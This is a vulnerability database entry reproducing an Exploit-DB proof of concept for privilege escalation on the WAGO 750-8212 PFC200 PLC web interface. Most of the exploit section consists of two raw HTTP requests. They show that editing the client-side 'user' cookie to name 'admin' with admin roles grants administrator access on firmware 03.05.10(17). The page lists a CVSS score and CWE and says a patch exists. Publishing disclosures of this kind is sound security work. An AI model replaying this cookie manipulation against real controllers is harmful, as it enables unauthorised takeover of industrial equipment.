WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation

vendor:

750-8212 PFC200 G2 2ETH RS

by:

Momen Eldawakhly

8.8

CVSS

HIGH

Privilege Escalation

264

CWE

Product Name: 750-8212 PFC200 G2 2ETH RS

Affected Version From: 03.05.10(17)

Affected Version To: 03.05.10(17)

Patch Exists: YES

Related CWE:

CPE: 2.3:a:wago:750-8212_pfc200_g2_2eth_rs:03.05.10:*:*:*:*:*:*

Metasploit:

Other Scripts:

Platforms Tested: PopOS! Linux (Firefox)

2022

WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation

A vulnerability in WAGO 750-8212 PFC200 G2 2ETH RS allows an attacker to gain admin privileges by manipulating the cookie value in the HTTP request. The vulnerable firmware version is 03.05.10(17).

Mitigation:

The vendor has released a patch to address this vulnerability.

Source

Exploit-DB raw data:

# Exploit Title: WAGO 750-8212 PFC200 G2 2ETH RS Privilege Escalation
# Date: 02/16/2022
# Exploit Author: Momen Eldawakhly (Cyber Guy) at Cypro AB
# Vendor Homepage: https://www.wago.com
# Version: Firmware version 03.05.10(17)
# Tested on: PopOS! [Linux](Firefox)

========================================
= The ordinary user privilege request:
========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22user%22%2C%22roles%22:[%22user%22%2C%22guest%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642368720673%2C%22sessionExists%22:true}

==========================================
= Manipulated Cookie to Admin Privilege:
==========================================

GET /wbm/ HTTP/1.1
Host: 192.168.1.1
User-Agent: Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0
Accept: */*
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
DNT: 1
Connection: close
Referer: http://192.168.1.1/wbm/
Cookie: NG_WBM_SESSION=qru3ocrpde79m5f73526i65uv5; user={%22name%22:%22admin%22%2C%22roles%22:[%22admin%22%2C%22admin%22]%2C%22hasDefaultPassword%22:true%2C%22csrf%22:%22U2fJfixrfWtLEbVFL6b71oou1yk1WqKTsdFo52yavqrTF86f%22%2C%22timestamp%22:1642369499829%2C%22sessionExists%22:true}